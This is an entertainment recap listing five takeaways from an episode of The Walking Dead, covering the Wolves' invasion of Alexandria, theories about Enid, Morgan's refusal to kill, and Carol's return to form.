Whoa, nelly. In one of the craziest episodes in years, Sunday night’s installment of The Walking Dead saw a horde of berserkers invade Alexandria while most of Team Rick’s most deadly members were off doing the zombie stuff we watched them do last week. Let’s get right to this.

Here are five things we learned from Sunday night’s episode of The Walking Dead:

1. No Rick, no Darryl, no Glenn, big problems

Too bad Gabriel didn’t come to Carl for machete training weeks ago. The people left behind in Alexandria during Rick’s big zombie operation outside the walls got completely decimated by the Wolves — a psychotic band of cultish nihilists hellbent on destroying human life. Somehow, the Wolves killed at least a dozen Alexandrians but none of the ones we actually know, save a couple ladies Carol cooks with. That seems awful convenient, and somewhat surprising for a show that has always been willing to kill people off. Maybe this episode aimed to get us paying attention to a bunch of characters not normally in focus so we will be sadder when they get eaten by zombies later this season. Luckily for them, Carl, Carol, Morgan, Maggie and Aaron the Lone Useful Alexandrian were around to chase away the freaks.

2. Carl’s new girlfriend has a very dark past, possibly an even darker present

Enid lives by a mantra: Just survive somehow. It was the title of the episode, the contents of her going-away note to Carl, and the initials she wrote on practically everything while she was out on her own after, apparently, watching her parents die. We know she ate a turtle, but not much else about her backstory was made entirely clear. And there’s now a popular theory going around that Enid is either a spy for or the leader of the Wolves. That makes some sense, as we know she likes to go for walks in the woods alone and we see that she’s utterly unfazed by the invasion. She disappeared at the end of the episode, but presumably we will find out more about Enid before the season is done.

3. Morgan doesn’t like to kill people even though he’d clearly be awesome at it

Because of his early introduction, Morgan feels like a character we know all about even if we haven’t seen him for most of the show’s run. But we’ve still got some stuff to learn about Morgan, like that he steadfastly refuses to kill the living even when a) he’s totally awesome at it and b) they clearly deserve it. This feels like it will doom Morgan eventually, except that Morgan apparently survived all this time on his own without killing any living.

4. Where are the zombies?

Usually this site is 100% pro-zombie, but this episode was awesome despite the general lack of zombies (save a few fresh ones after the Wolves invaded). Still, it seems somewhat suspicious that no zombies found their way into Alexandria after that truck horn went off while the walls were compromised and tons of gunshots were ringing out. Zombies are slow, we know, but how far away are Rick and his group with their giant zombie horde that the zombies didn’t factor at all in the Wolves’ invasion? It’s not like a zombie horde is exactly an orderly thing, and you’d figure there’d at least be a few stray zombies lurching around. The upside is this is clearly setting up a massive zombie showdown.

5. Carol is back to being Carol

Obviously we knew Carol was never the meek housewife she has pretended to be since coming to Alexandria, but it’s always refreshing to see her go back to being a badass. Now the people of Alexandria are probably hip to their game, but they’ve got bigger problems on their hands. Zombie problems.
